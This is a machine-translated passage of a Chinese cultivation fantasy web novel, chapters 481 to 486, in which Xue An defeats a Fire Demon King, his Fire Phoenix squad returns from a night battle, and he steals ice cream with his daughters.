    "Cultivator, if you destroy my body, then I will extract your soul from the body today as compensation!"


    As he said, flames flew out, surrounding Xue An.

 Chapter 481： Go back to your fire demon world

    This flame is not an extraordinary flame, but a demon flame emitting a crimson light.


    As soon as it flew out, even the air where it passed was scorched and distorted.


    But in the face of such a fire, the expression on Xue An''s face became more and more excited, as if a gluttonous glutton saw a delicate and delicious snack.


    After a while, the demon flame industry has already been present.


    The boundless sea of ??fire swallowed Xue An''s body completely in an instant.


    The Fire Demon King sneered, "I thought you had any special abilities, but it turned out to be swallowed by my flames? No matter, I will find you a suitable body again!"


    The latter sentence was said by the Fire Demon King to Lai Shuo''s soul.


    In his opinion, even the immortal had to be incinerated by his own flame.


    This Xue An must have been burned, and even his soul was burned to nothingness.


    Lai Shuo said flatly: "The prince is truly supernatural, and Xue An is so rampant that he was not killed by you in the end!"


    The Fire Demon King laughed, "How can a mortal repairer be my Fire Demon King''s opponent!"


    "What the prince said is, it''s a sigh that Xuanniao is too stupid, and he is dead confused!"


    The Fire Demon King chuckled, "Xuanniao is just a piece of chess sent by an adult. It''s optional, it doesn''t matter if you die!"


    Lai Shuo is another word of flattery, and the explicit language is simply disgusting.


    But the Fire Demon King actually liked this very much, and he laughed proudly from time to time by this Lai Shuo.


    At this moment, the sudden change occurred.


    Seeing that the originally boiling demon flame seemed to have encountered a terrible natural enemy, suddenly began to flee.


    The fire demon king''s triumphant laughter stopped abruptly.


    Because in the center of the demon flame, a holy white lotus gradually emerged.


    As soon as this white lotus came out, all the demon flames that had fled around solidified, and then turned into flame giants, worshipping the white lotus.


    Worship Bailian!


    "How is this possible!" The Fire Demon King screamed like a little girl being molested.


    The powerful pressure emitted by this white lotus made him want to kneel down and worship as the Fire Demon King.


    At this moment, these kneeling demon flames began to explode one by one, and then poured into the white lotus.


    With the influx, the white lotus began to bloom little by little.


    And the coercion that enveloped the world is getting stronger and stronger.


    The Fire Demon King looked at this scene tremblingly.


    When the white lotus finally bloomed completely, it turned into a raging white flame.


    The Fire Demon King almost groaned and exclaimed, "Shen Yan, how could there be such a God Flame in this world!"


    In the white flames, a slender hand slowly stretched out, and then Xue An''s whole person walked out of it.


    "It tastes good!" Xue An said with a smile.


    This Fire Demon King uses a special kind of flame in the Demon Realm, which is powerful.


    But in front of Xue An, it can only become Shenyan''s food.


    Seeing this scene, the Fire Demon King did the most correct thing he had ever done in his life!


    Turn around and run.


    Because he understands better than anyone else.


    The person who can master this kind of **** flame is definitely not something he can provoke.


    But Xue An obviously did not intend to let him go.


    As soon as he stretched out his hand, the strands of white flames wandered like dragons and snakes, directly covering the whole world.


    The Fire Demon King was also trapped in it.


    Xue An said lightly: "I just want to go now, don''t you think it''s too rude?"


    The Fire Demon King turned around, with an extremely flattering smile on his majestic face.


    "My lord, I really don''t know that you have such great power. I lost. Now I will return to the demon world and tell Master Minghuo that I will not come to this world again. What do you think?"


    The Fire Demon King surrendered.


    The surrender was extremely simple and neat.


    In the eyes of others, this seems difficult to understand.


    For example, Lai Shuo thinks this is simply unreasonable.


    The dignified Lord Fire Demon King didn''t even resist, so he just gave in?


    So his soul said: "Master, you..."


    There was a crisp sound.


    The Fire Demon King directly crushed the Lai Shuo''s soul in his hand, then nodded and said, "My lord, everything is caused by this guy. I don''t know the rest."


    The corners of Xue An''s mouth rose slightly, and a faint smile emerged.


    The Fire Demon King was so spineless, it was unreasonable to others, but in Xue An''s eyes, it was a normal reaction of the Demon Race.


    Because in the demon world, the law of the jungle that the weak eat the strong is the absolute truth that has never been broken.


    To succumb to the strong who is stronger than oneself and swallow the weaker and weaker than oneself, this kind of thing may still have concerns in other worlds.


    But in the Demon Realm, this is as common as breathing.


    Seeing Xue An remained silent, the Fire Demon King couldn''t help feeling a little panicked.


    The white lotus just now scared him.


    Because that is the flame of extinguishing world that Huo Jun or even the demon **** has never possessed!


    The flame that Xue An possessed was reborn with his soul.


    This kind of flame was accidentally obtained by Xue An from the fissures of time and space when he first explored the outer world.


    At the beginning, Xue An didn''t care about it, but only later did Xue An discover the magic of the flame.


    That is, it seems to change into any other kind of flame.


    This is also the reason why Guangming Shengzi and others believed that this was the supreme luminous flame when the Church of Illumination was destroyed, but now it is considered by the Fire Demon King to be the most powerful one in the demon world.


    Xue An thought for a moment, and then said to the Fire Demon King whose expression changed: "Are you from the Fire Demon Realm?"


    "Yes!"


    "Well, I''ll let you go back and tell you that so-called Fire Lord, if you dare to commit another crime, be careful that I destroy you Fire Demon Realm!"


    When the Fire Demon King heard this, he couldn''t help letting out a miserable howl, "No, my lord, I''m just a little Fire Demon King. I will definitely bring your words. Please let me go!"


    "Leave you alone?" A cold smile appeared at the corner of Xue An''s mouth. "It is your capital crime to try to get involved in the world. Now letting you a ray of soul is given you a chance, but you are not enough. Or, just kill it!"


    "No!" The Fire Demon King suddenly recognized reality.


    That is, this man is different from other human cultivators.


    The killing is decisive, and the method is mysterious.


    If he talks nonsense again, he really might wipe out himself completely.


    Xue An waved his hand The wisps of white flames were like a thread, which directly bound the Fire Demon King, and at the same time inserted the thread directly into the Fire Demon King��s body, sucking it frantically .


    The Fire Demon King''s face showed an extremely horrified look, and he made screams.


    At the same time his tall figure began to shrink sharply.


    After a while, there was only a faint flame the size of a finger.


    Then Bai Yan loosened the **** like never before.


    The faint flame was floating in the air, seeming to be extinguished at any time, and at the same time an extremely faint voice came.


    "My lord, spare my life!"


    Xue An nodded slightly, "Remember to go back to tell you what Fire Lord, if you have any thoughts, the end will be a hundred times more miserable than you!"


    "Yes!"


    "get out!"

 Chapter 482： Weakness is the original sin

    The Fire Demon King Rumeng, who had become like a candle flame, directly returned to the Flame Demon Realm through the time and space imprint engraved in the depths of his soul by Lord Huo.


    When he came, he had spent a lot of effort, compressing his strength and controlling the soul, for fear of being bound by the rules of space.


    But when I went back, it was much smoother.


    The law of space doesn''t bother to pay attention to such a small flame.


    So smoothly, he returned to the Fire Demon Realm.


    Among the heavens and all realms, the Yaozu is an extremely large and tyrannical group.


    This can be seen from the number of worlds it owns.


    The Demon Realm has a main realm, which is vast and infinite, and it is considered to be among the best among the heavens.


    At the same time, there are demon worlds similar to the Qingqiu fox world, snake demon world, and so on. It is like a big tree, the main body is the main demon world, and the Qingqiu fox world is its branches and leaves.


    One thing to mention here.


    Strictly speaking, the Dragon Realm is also regarded as the Demon Realm.


    But because the dragon clan is too powerful and the clan is spread across the heavens, in the eyes of many people, the dragon world is a single world and does not fall under the jurisdiction of the demon world.


    The Fire Demon Realm that the Fire Demon King returned was one of the most inconspicuous worlds.


    Although inconspicuous, the Fire Demon Realm can also be called vast.


    But the environment is much worse.


    There is almost no plain, and there are volcanoes that are erupting or waiting to erupt everywhere. The erupting magma flows and gathers together, forming a long river of magma.


    The air is full of pungent sulfur smell.


    In such an environment, let alone mortals, even ordinary cultivators cannot survive.


    But for the Fire Demon Clan, it is a unique blessing.


    As soon as the Fire Demon King returned here, he flew into a volcanic crater and wandered in the thick magma.


    "It''s so comfortable!" The Fire Demon King groaned intoxicated.


    For it, soaking in magma is like soaking in a hot spring, which is very refreshing, and even the weak flames have begun to grow gradually.


    "What happened today is really dangerous. I almost died in that world! And who is that man?" The Fire Demon King thought to himself.


    At this moment, a powerful suction directly sucked it out of the magma, and before it reacted, it turned into a stream of light and flew to the sky.


    After a while.


    The panicked Fire Demon King came to a huge palace built of fire crystals.


    On the throne of the palace sat a flame giant.


    Seeing this giant, the Fire Demon King turned from the flame state into a human form in fear, and then fell to his knees.


    "Fire... Your Lord!"


    The voice was weak and trembling.


    There was a sound of laughter from both sides of the palace.


    "Tsk tusk, isn''t this the Blazing Fire Demon King? Why is it now not much bigger than a torch?"


    "And after returning to the fire world, he didn''t come to see the monarch first, but went to hide in the volcano, and his heart is shameful!"


    These ridicule sounds came from the various Flame Demon Kings, they all transformed into human forms at this moment, and looked at the Blazing Flame Demon King kneeling on the ground with a sneer.


    At this time, Lord Huo sitting on the throne said indifferently: "What''s the matter! Why did you become like this?"


    "Master Huojun, I wanted to save the fire first and then report it to you! I descended into the Kunlun secret realm in that human world. Everything was going well, but who would have thought that a guy suddenly appeared and killed the Xuanniao first, and then again Beat me like this!" The Blazing Fire Demon King cried.


    Upon hearing it, these flame demon kings burst into laughter.


    There was gloating in the laughter, but more of it was naked ridicule and disdain.


    "It''s really funny, the world has already become a Jedi, even the Kunlun Secret Realm has fallen! How could someone beat the Demon King like this?"


    "That''s right, and this time, Lord Huo Sovereign took the shot personally and saved almost all of the strength. That''s how the fire was almost extinguished. It''s just a waste!"


    These ridicules and abuse made the Blazing Demon King furious.


    But it didn''t dare to say anything, because it was now weak and could be blown out in one breath.


    In the demon world, being weak is the original sin.


    "You said, someone beat you into this look?" Huo Jun''s face made of flames could not see the joy and anger, he just asked faintly.


    "Yes!"


    "Then how did he fight? In detail!"


    The Blazing Fire Demon King tremblingly recounted the passage.


    But when it said that Xue An used the Demon Realm Divine Flame, the entire temple was drowned in laughter.


    "It''s so ridiculous. A mortal can actually master the divine flame, Blazing Fire, which even Lord Huo doesn''t have. Your imagination is so rich!"


    "Hehe, I guess it must be its own stupidity, and it ended up ruining its own cultivation!"


    The flame on Huo Jun suddenly rose, "Shut up!"


    In an instant, the hall became quiet.


    Then Huo Jun said in a playful tone: "So, you met someone in the human world who was not inferior to me and branded you like this?"


    A few more sneers came from the hall.


    The Blazing Fire Demon King said tremblingly, "Master Temper, it is indeed the case!"


    "Very good! In that case, I can''t blame you, and you''ve been working hard during this time, otherwise it won''t make you lose your cultivation."


    The moving voice of the Fiery Demon King was a little choked, "Master Huo is serious because of the incompetence of his subordinates."


    Huo Jun said lightly: "Come here, I''ll give you a gift!"


    This sentence made the Blazing Fire Demon King tremble, and then yelled in horror, "Master Huo, although my cultivation base is gone, my fire is still there. Just give me a hundred years, no, fifty years. I promise to be able to return to the same time as before, and then I can still serve Lord Huo."


    Huo Jun smiled slightly, "I''ll give you a gift. Why are you afraid of it? Come here!"


    There was a dead silence in the hall, and the demon kings who were separated from each other looked at them indifferently.


    The Blazing Fire Demon King didn''t dare to defy anymore, he knelt and climbed a few steps, and said flatly, "Master Huo, there are still many blazing spars in my territory, and I will give you all of them."


    As soon as the words fell, Huo Jun stretched out his hand, and a huge flame hand grabbed the Blazing Fire Demon King.


    "Master Huo, please, don''t kill..."


    The giant flame hand suddenly closed, and the flame of the Fiery Fire Demon King was completely crushed, and then Huojun opened his mouth and swallowed it down.


    "Give me a tribute? Haha! Eat you, what''s yours is not mine?" Huo Jun said with a sneer.


    The other Fire Demon Kings in the main hall all looked indifferent.


    In the Demon Realm, at least in this Fire Demon Realm, such things are simply too normal.


    After all, although the Blazing Fire Demon King has lost his cultivation, the fire is still there, and this fire will have infinite benefits for his own cultivation after being swallowed.


    Huo Jun closed his eyes.


    He was going to retrieve the soul memory of the Blazing Demon King to see what was going on.


    But as soon as the divine mind touched these fragments, a faint but powerful white flame suddenly appeared.

 Chapter 483： If any **** is not convinced, the fire phoenix will kill it

    This ray of flame directly burned Lord Huo��s divine mind into nothingness, and at the same time began to frantically swallow Lord Huo��s own flames, rapidly growing.


    The Fire Lord was horrified, but its cultivation base was much higher than that of the Blazing Demon King. It was already a one-legged existence that entered the real fairyland. Therefore, he immediately transferred the cultivation base of the whole body and transferred this ray of divine flame in his body. Surrounded by groups.


    But although the flame is extremely weak, it is extremely difficult to swallow without fire.


    Lord Huo exhausted various methods, but he couldn''t completely put it out.


    In the end, he gritted his teeth and used part of his cultivation base to envelope the flames before sending it out of his body.


    All this happened in the body of Lord Huo. The other Fire Demon Kings in the main hall naturally didn''t know. They could only see Lord Huo''s body suddenly flickering, and they didn''t know what they were doing.


    Then this ball of fire appeared.


    At this moment, Lord Huo looked at the fireball floating in the hall with horror. He finally understood that what the Blazing Demon King said was true.


    Although that ray of flame was extremely weak, it was extremely advanced in nature, more than ten thousand times stronger than the fire of his own life.


    When he was surprised, a huge figure slowly appeared above the fireball.


    It is a projection of Xue An''s spirit.


    I saw Xue An lightly said: "If you dare to covet the world, you will be like this!"


    After all, this fireball suddenly turned into a huge flame sword, Xue An''s divine mind projection held the sword in his hand and suddenly cut it down.


    Click.


    The flame temple built of extremely hard pyrestone was chopped in half.


    Then Xue An and the fireball disappeared.


    There was dead silence in the hall.


    Including Huo Jun, all the fire demons watched this scene dumbfounded.


    At the same time, the flame temple that had been cut in half slowly fell to both sides, exposing the fiery red sky.


    After a long time, the Fire Demon King trembled and asked.


    "Master Huo, just... what is that?"


    Mr. Huo, who was sitting on the throne in a daze, was shocked when he heard the words, only to wake up from the astonishment, and then smiled bitterly.


    "It seems... the person who killed the Blazing Fire Demon King in the world!"


    hiss.


    All the fire demons took a breath, then looked at each other, seeing the shock in each other''s eyes.


    At this time, Huo Jun said dejectedly: "This matter is silent, and the order is passed on." Huo Jun paused, and then said bitterly: "Explore the world...Cancel!"


    "Yes!"


    Many fire monsters responded together.


    No more arrogance just now.


    At the same time, in the Kunlun Secret Realm, on the top of the wrinkled building.


    Xue An smiled slightly when he felt a hint of divine thought disturbance.


    He knew that the flame mark he had left in the body of the Blazing Fire Demon King had taken effect.


    Xue An knew very well the virtues of these demon races that were naturally raised, so he planted a flame mark in the body of the Fiery Fire Demon King.


    As long as someone swallows it, it will trigger the imprint, and then teach it a profound lesson.


    I believe that after this incident, these monster races, who have been involved in world affairs without appreciating their own strength, should be able to converge a lot.


    "Husband, what are you laughing at?" An Yan asked curiously.


    "Oh, it''s okay! Are Cheng Hao and others back?"


    "Not yet!" An Yan said with some worry: "Will something happen? Husband, please go and see!"


    Xue An shook his head, "No! If even this matter can''t be resolved, they will disappoint me too much."


    After Xue An beheaded the Fire Demon King, he returned directly to the Mandala Tower.


    Because Xue An said clearly, this Xuanfeng Tower and Fire King Hall are two rare grindstones.


    Now Xue An eradicated Xuanniao and Fire Demon King.


    The rest of the people will depend on the members of the Fire Phoenix.


    After all, although there is a whetstone, you have to use the knife to sharpen the knife yourself, and no one can replace it.


    But Zhu Ruyan and Lu Xunxue stopped talking.


    They all just heard the huge sound that shook the entire Kunlun City.


    But after a while, Xue An returned.


    Could it be that in just a few moments, he killed the two masters of Xuanfeng Tower and Fire King Hall?


    But Xue An did not say, they did not dare to ask.


    At this moment, all the people in the building were shivering, including the girls, hiding in their own room with shameless expression.


    Because the screams and screams from far away from time to time are telling people what is happening outside.


    "It''s almost dawn!" Xue An said slowly while drinking slowly.


    Everyone turned to look.


    really.


    I saw in the eastern sky, a ray of gold gradually emerged.


    And the snow has stopped.


    "Husband..." An Yan wanted to say something.


    She still can''t worry about the people of Fire Phoenix.


    At this moment, Zhu Ruyan suddenly trembled: "Come back! They are back!"


    Everyone looked up and saw a group of people slowly coming from the far end of the street.


    There is a layer of evil energy and blood on these people''s heads, and the world trembles when they walk.


    When he walked to and around the Weigu Tower, Cheng Hao stepped forward and said respectfully: "Instructor, this battle, the fire phoenix beheaded the two longevity people in half a step, thirteen people of Sanxian, one hundred and twenty-one heavenly people, There are countless free and easy things! The Fire King Hall of Xuanfeng Tower was completely destroyed! And the Fire Phoenix seriously injured eight people, and none of them died!"


    After all, a proud look appeared on Cheng Hao''s face covered in blood.


    This result is enough for them to be proud.


    Because there was a time when the people of the Fire Phoenix had to spend a lot of effort to kill an immortal.


    But since entering this Kunlun secret realm, Xue An has given each of them a new advanced technique, combined with the rich aura in Kunlun, so that everyone in Fire Phoenix can grow at a rapid pace.


    In this Xueye battle, they even killed more than a dozen scattered immortals with a record of zero death, and even eliminated two and a half steps of longevity.


    This record is enough to shock the entire Kunlun.


    So when Cheng Hao finished proudly, everyone was shocked.


    The love seekers in the frowning building were all shivering when they heard it.


    Those who can consume in this place are all the people with faces in Kunlun City When they heard that the Profound Wind Tower and the Fire King Hall were completely destroyed, they finally understood the sound of killing that sounded through the entire city last night. what''s going on.


    Some daring secretly opened the window and looked.


    At this moment, Xue An quietly looked at each injured, but his face was full of determined and proud members of the Fire Phoenix.


    As far as he could see, everyone straightened up involuntarily.


    Then Xue An nodded and smiled slightly.


    "Very well, after this battle, you can finally be called the true elite of the hundred wars! From now on, if there is a **** who refuses to accept it, the fire phoenix will kill it! If there are monsters in troubled times, the fire phoenix will destroy them! You... confidence?"


    Cut the gods and extinguish the demons!


    Xue An''s words gradually brightened the eyes of everyone in the Fire Phoenix, and then shouted together, "Definitely live up to the instructor''s expectations!"


    The sound shook everywhere, and all the snow on the roof tiles fell.

 Chapter 484： Jagged Phoenix, its prestige is emerging

    This scene shocked everyone watching.


    Some courageous people almost peeed their pants in fright.


    Feibai looked at the fire Phoenix with envy.


    He participated in the entire Snowy Night Battle, and then was completely shocked.


    This was the first time he saw that people could still fight like this.


    Those incomparable tactical cooperation, those incomparably tacit team cooperation.


    All made Feibai shocked.


    But what moved him most was the friendship between the members of the Fire Phoenix that was thicker than blood.


    It is a friendship that can die for you at any time.


    This kind of friendship allowed the entire Fire Phoenix to fully condense into one.


    Feibai suddenly understood why the Fire Phoenix, whose average cultivation base was not too high, could kill so many people whose cultivation bases were far better than their own.


    It is because of their cooperation and friendship.


    At the same time, Feibai finally understood why Xue An''s status was so detached in the eyes of the people of Fire Phoenix.


    Because only such an instructor can cultivate such an elite of all kinds of battles.


    Feibai, who was withdrawn by nature, suddenly had a glimmer of hope.


    If you can join such a team, it should be very exciting.


    Thinking about it, I saw Zhou Daniu slapped him on the shoulder carelessly, and said with a silly smile: "Boy, your swordsmanship last night opened my eyes. It''s amazing!"


    Zou Yi also came over and said grinning: "Yes! It''s the first time I have seen a master of swordsmanship other than the instructor!"


    Fighting side by side overnight, Feibai convinced these arrogant men with stunning swordsmanship.


    At this time, Cheng Hao came over with a faint smile on his face, "Thank you!"


    Cheng Hao was thanking him for what happened last night.


    When besieging a half-step longevity last night, Cheng Hao almost fell into this person''s secret technique. Fortunately, Feibai rushed over and cut this person with a single sword.


    So Cheng Hao said thank you.


    Feibai was a little embarrassed, because everyone in Fire Phoenix smiled very sincerely at Feibai.


    This feeling made Feibai feel strange, yet...very warm.


    "Masters, the adults upstairs have ordered, please...please go upstairs, the bath water has been prepared, and the banquet is also prepared!" The old bustard, who has always been in the same place, has become very stammer now.


    Because of the blood and evil spirits of Cheng Hao and others, even the few birds flying above them fell directly.


    "Go! Let''s have a drink!" Cheng Hao grabbed Feibai with a smile and walked inside.


    When each of them was clean and clean, after they came out with new clothes.


    Xue An has cured several severely injured people.


    The condensed version of Tianyuan Potion is taken internally and externally, which is simply a magical medicine.


    After everyone was seated, Xue An raised a glass in his hand, "You have worked hard! I respect you for this cup!"


    Cheng Hao and others hurriedly stood up, "Thanks instructor!"


    After three rounds of wine.


    Feibai suddenly came over with a wine glass.


    "My lord, there is no repayment for the grace of reconstruction. Now I have no relatives and no reason in Kunlun. I want to join your fire phoenix!"


    Feibai had been thinking about this when he had just eaten, and now he finally made a decision.


    Xue An smiled upon hearing this, "Aren''t you planning to rebuild Yujian Villa?"


    "miss you!"


    "Then why join Fire Phoenix?"


    "Because I want Yujian Villa to become a first-class sect, rather than a small sect in Kunlun!" Feibai said seriously.


    The room was quiet.


    Cheng Hao and others looked at Xue An with expectant eyes.


    After the first battle last night, they all hope that Feibai can join Fire Phoenix.


    After all, if such a master of swordsmanship joins, it can greatly enhance the strength of the Fire Phoenix.


    Xue An smiled faintly upon hearing the words, "Are you so confident?"


    Feibai nodded solemnly, "I didn''t have it before, but now I have it! Because I believe in the heart and achievements of adults!"


    Xue An looked at the resolute Fei Bai, and a smile gradually appeared at the corner of his mouth.


    "In fact, even if you don''t want to join, I will find a way to let you join! After all, with your swordsmanship, being trapped in this world is a waste!"


    Feibai was taken aback, Cheng Hao walked over quickly and patted Feibai''s shoulder.


    "I haven''t thanked the instructor yet!"


    Feibai reacted and hurriedly said, "Thank you, instructor!"


    The atmosphere in the room suddenly became more heated.


    At the same time, the old bustard was very diligent in sending all the oirans in the building.


    Xue An did not stop either.


    After the war, these members should really relax.


    Xue An would never use his own standards to impose on others.


    On that day, the members of Fire Phoenix drank all day long and happily all night.


    At the same time, the Fire King Hall and Xuanfeng Tower were completely destroyed, and the news that the two heads were killed by Xue An spread like a hurricane.


    The shock brought by this news is simply devastating.


    No one expected that from Xue Angui to the present, but the situation in just a few days would have completely wiped out these two newly emerging huge forces.


    This stunned many people who had intended to maintain a neutral attitude.


    They also want to see what the situation is, and then decide which side to turn to.


    But who would have thought that Xue An would directly wipe out these two forces by means of thunder?


    And those who took refuge in the two powers are all so scared at the moment, they can only pray silently, a peerless master like Xue An will not remember him!


    But this time, their prayers did not work.


    Because now Xue An has Fire Phoenix under him.


    In the next few days, those who had assisted the two major forces in the abuse were all killed by members of the Fire Phoenix.


    No matter who the opponent is, it is not an enemy of this unit.


    The prestige of the Jagged Phoenix began to resound in this world.


    Qingmu Town.


    This day.


    When Bian Tian and Bian Hua opened the city gate, they saw a lot of caravans standing densely outside the gate, and the caravans on the official road could not even be seen at a glance.


    Bian Tian and Bian Hua were stunned, these caravans shouted loudly.


    "Two, please send a letter to Master Aoki? We are really with the caravan! We are here to do business in Aoki Town!"


    "We are from Jade Caravan!"


    These shouts came one after another, and all came from various large caravans.


    Although Bian Tian was not at the volatility of these caravans at the beginning, when he saw the arrival of these people, he was still very excited and turned around to send Bian Qingmu a letter.


    When Bian Qingmu appeared on the tower.


    The heads of these caravans stepped forward and fell to the ground.


    "Master Aoki, we were blinded by lard and succumbed to the lewd might of those two forces and ran away. It was our fault! Please forgive me!"


    "Yes! It''s all our fault We are willing to pay enough silver to redeem our sins!"


    Bian Qingmu looked at this scene, of course knowing the reason they did this, and suddenly sighed in his heart.


    She was also shocked when she first heard the news.


    The two powers were slain overnight, and the Iron-Blooded Phoenix was born.


    These shocking facts tell everyone what it is to offend Xue An.


    These caravans also came for this.


    "Get up all!" Bian Qingmu said lightly.


    She didn''t want to criticize these people, because the businessmen were trying to avoid disadvantages, which is understandable.


    "Yes!" These caravan leaders stood up gratefully.


    When the caravan re-entered, the entire Qingmu Town was more prosperous than before.

 Chapter 485： Father and daughter stealing ice cream 3

    An Yan is sleeping soundly in the room.


    Xue An and Xue Xiangxue Nian, the father and daughter, are investigating the situation outside.


    "Dad, mom seems to be asleep!" I thought about it and said in a low voice.


    "It doesn''t seem to be, I must have fallen asleep, I have heard my mother''s snoring!" Niannian said.


    Xue An nodded, "You two are waiting here, don''t go anywhere, understand?"


    The two little girls nodded together.


    Xue An crept into the room.


    Although it was cold and freezing outside, there was a fire dragon (an ancient thing similar to floor heating) growing in this house, so you could feel the warmth coming from you when you came in.


    Xue An walked to the bed, looked at it for a moment, and then gently stroked his hand on the ring An Yan was wearing.


    Brilliance flickers.


    Xue An opened the mustard seed ring and took out a huge box from it at a very fast speed.


    Guanghua faded.


    Xue An was holding the box and was about to turn around and leave.


    An Yan whispered and rolled over.


    This time, the two little girls who were observing the situation outside the house were so scared that Nian Nian almost exclaimed. Fortunately, thinking about seeing the opportunity soon, she covered her mouth.


    Xue An stood on the spot holding his breath and looked at it for a while, and found that An Yan had just turned over and fell asleep again. Only then did he let out a sigh of relief, and then made an OK gesture outside.


    The two little girls turned into star eyes.


    Xue An walked back slowly, until he reached the threshold, and then said in a low voice, "Follow me!"


    As he said, Xue An turned around, like a mouse who stole something, walking on tiptoe, and the two little girls followed lightly.


    When I finally went downstairs and came to the corner of the veranda, Nian-nian let out a cheer.


    "Yeah! Dad, you are awesome!"


    Xue An squatted down with a smile, and put the huge round box on the railing.


    The two little girls also came over, and the father and daughter looked at the round box quietly.


    After a long time.


    Think about licking his lips, "Dad, open it?"


    Xue An nodded, "Well, open it!"


    Nian Nian''s saliva was about to flow out, "Dad, can I finish it?"


    "Well, yes!"


    With that, Xue An peeled off the lid of the round box, and a scent of vanilla mixed with butter came.


    Xue An opened the packaging paper again, and inside was an ice cream with a faint fragrance of grass.


    It''s just that this ice cream is much larger than the average, almost a big box full.


    The eyes of the two little girls gleamed.


    Especially Nian Nian, she was so excited that she would cry.


    "Dad, when did you buy this ice cream?"


    Xue An chuckled, "I bought it a long time ago, but put it in your mother''s mustard seed ring. She wouldn''t take it out for you to eat!"


    As Xue An said, knowing that his two daughters love ice cream, he once contacted the Haagen-Dazs factory directly and customized more than a dozen flavors that the two little girls like most.


    of course.


    In the beginning, the manufacturer ignored Xue An at all.


    After all, no matter how much Xue An customizes, it is insignificant for a large manufacturer.


    But there seems to be no problem that money cannot solve in this world.


    Therefore, he successfully customized many unique ice cream styles in the world.


    For example, this big round box is one of them.


    The father and daughter were very excited, but immediately they discovered a very serious problem.


    That is no spoon!


    "What about this? Do you eat with your hands?" Think about it.


    "I have no problem, if it doesn''t work, I can still lick and eat!" Nian-nian can''t wait.


    Xue An pointed to the small pan carried around their necks, "Use this to eat!"


    "Huh?" The two little girls had question marks on their faces.


    Xue An chuckled, squatted down and held the two small pans, squinted slightly, and then said: "Okay! Now you two take off the necklaces and shout that I want to eat ice cream!"


    The two little girls took off the pan immediately and shouted in unison: "I want to eat ice cream!"


    In the radiance, these two small pans became two huge spoons.


    Seeing this scene, the two little girls were so excited that they rushed up with joy, and one kissed Xue An.


    "Dad, you are amazing!"


    Xue An couldn''t help but think proudly, he is indeed quite powerful, otherwise it would be impossible for ordinary people to add the function of a spoon to this green wood magic weapon!


    Then he smiled and said, "Okay, go and eat it, or you won''t be able to eat it if your mother finds out it soon!"


    "Hmm!"


    The two little girls began to dig ice cream with a green wooden spoon with a happy face.


    Outside was the snowy world, cold draughts blew across the veranda, and the two little girls did not mind eating ice cream.


    This scene always seems a little weird.


    At least when Zhu Ruyan passing by saw this scene, he was a little silly.


    "My lord, this is..."


    Xue An shook his head, made a silent gesture, and then said softly: "It''s okay. The two little girls are crying and want to eat ice cream, but Yan''er is afraid that they will freeze again, so she refuses to let them eat. I had no choice but to steal it!"


    Zhu Ruyan could hardly laugh or cry.


    Who would have thought that Mr. Xue, who is now prestigious throughout Kunlun, would lead his two daughters to steal ice cream.


    But she was also a little worried and said, "My lord, what should I do if I really eat it badly?"


    Xue An smiled and shook his head, "Joke, this is my daughter, how can I eat an ice cream?"


    Zhu Ruyan smiled unnaturally, "My lord, I think it''s better not to eat so much, and if Sister Yan finds out, won''t he be angry?"


    After speaking, Zhu Ruyan blinked at Xue An.


    "No! Yan''er is sleeping. When she wakes up, we will have finished the ice cream! She won''t know! What''s wrong with your eyes, Ruyan?"


    At this moment, a cold voice came from behind, "Oh, isn''t it?"


    Hearing this voice, Xue An became stiff and turned his face slowly.


    He saw An Yan holding his arms and looking at herself with playful eyes.


    Xue An''s mouth pulled out an unnatural smile, "Ahem, Yan''er, listen to me, I just watched you sleep soundly and didn''t want to disturb your rest, so I took the ice cream without saying hello to you. come out!"


    The two little girls also saw their mother''s arrival, and they were so scared that they turned around and blocked the ice cream box with their small bodies There was still ice cream in the corners of Nian Nian''s mouth, think about pushing He pushed her and gestured with his eyes.


    Nian-nian quickly licked her tongue clean, and then the two little girls looked at what had just happened. I didn''t even know that everything was done by Dad and stood there with an expression that had nothing to do with us.


    An Yan looked at this scene and couldn''t laugh or cry, but in desperation, she had to face Xue An with a straight face.


    "Taking two daughters to steal ice cream, let''s talk, how to punish?"


    Xue An stood there to receive An Yan''s ideological education, and the two little girls were not spared, and they all accompanied the penalty station.


    From time to time, the father and daughter would secretly make a funny face to make each other laugh.


    An Yan could only helplessly sullen her face, posing as the queen of the house.


    Zhu Ruyan watched this scene from the sidelines, suddenly very envious.


    This... is a family!

 Chapter 486： Train experience

    A month has passed since the Battle of Snowy Night.


    In the Kunlun Secret Territory, everything is settled and the world is peaceful.


    now.


    All kinds of illusions suddenly rose above Zhou Daniu''s head, who was sitting cross-legged.


    In these illusions, there are glamorous women throwing arms, and wolves, tigers and leopards staring at each other.


    But no matter how the illusion changes, Zhou Daniu is like a rock in the stormy sea, standing still.


    After a while.


    A golden light began to appear on Zhou Daniu''s body. This golden light was not as bright as before, but it exuded a very soft and tough light.


    At the same time, the blood of the wolf **** Zhou Daniu obtained in the Secret Realm of Wolf Warriors suddenly moved, entangled with the golden light, and gradually merged into one.


    After a long time.


    There was a crisp sound.


    I saw the illusions above Zhou Daniu''s head suddenly shattered, and Zhou Daniu''s whole body was also shrouded in golden light with a hint of blood.


    A powerful momentum rushed into the sky, and the disturbing situation changed its color.


    Zhou Daniu slowly opened his eyes, a golden light flashed from his eyes, and then gradually returned to normal.


    Sanxian peak!


    After this month of hard work, Zhou Daniu finally took the lead in breaking through, and he was also the first among all members of the Fire Phoenix to reach the peak of Sanxian.


    Of course, his achievement is not surprising.


    The talent of this honest man in cultivation is the best among the members of the Fire Phoenix.


    In addition to him, the other members of the Fire Phoenix are also very diligent.


    Among them, the captain Cheng Hao was only a little short of being able to break through to the peak of Sanxian.


    But that''s how cultivation is, and it''s very particular about chance.


    If there is no chance, then this trace of awareness may be the sky.


    Xue An knew that the members of the Fire Phoenix had almost reached their limits, and staying in this Kunlun Secret Realm would not make much sense, so he decided to leave tomorrow.


    Although Zhu Ruyan had prepared for this result, he still felt very sad.


    She hadn''t been idle for more than a month, and learned a lot of spells from Xue An.


    Although Zhu Ruyan''s previous cultivation was the pinnacle of dispersing immortals, he was completely new in application.


    This is also the reason why she was suppressed and unable to fight back.


    But after more than a month of hard practice, Zhu Ruyan''s techniques have improved greatly.


    You can definitely protect yourself.


    For this reason, Zhu Ruyan did not want Xue An to leave.


    Xue An just smiled at this, "This world is very important to me. If you are free, please help me manage it! This can be regarded as you helping me, how?"


    Hearing these words from Xue An, Zhu Ruyan''s eyes gradually brightened, and he nodded heavily, "Yes, Master!"


    Now Zhu Ruyan has changed Xue An''s name to Master.


    Zhu Ruyan buried the previous fantasies deep in his heart, and repeatedly warned himself that he must be clear about his position.


    If you change your slogan to Master, you can''t count your own delusions.


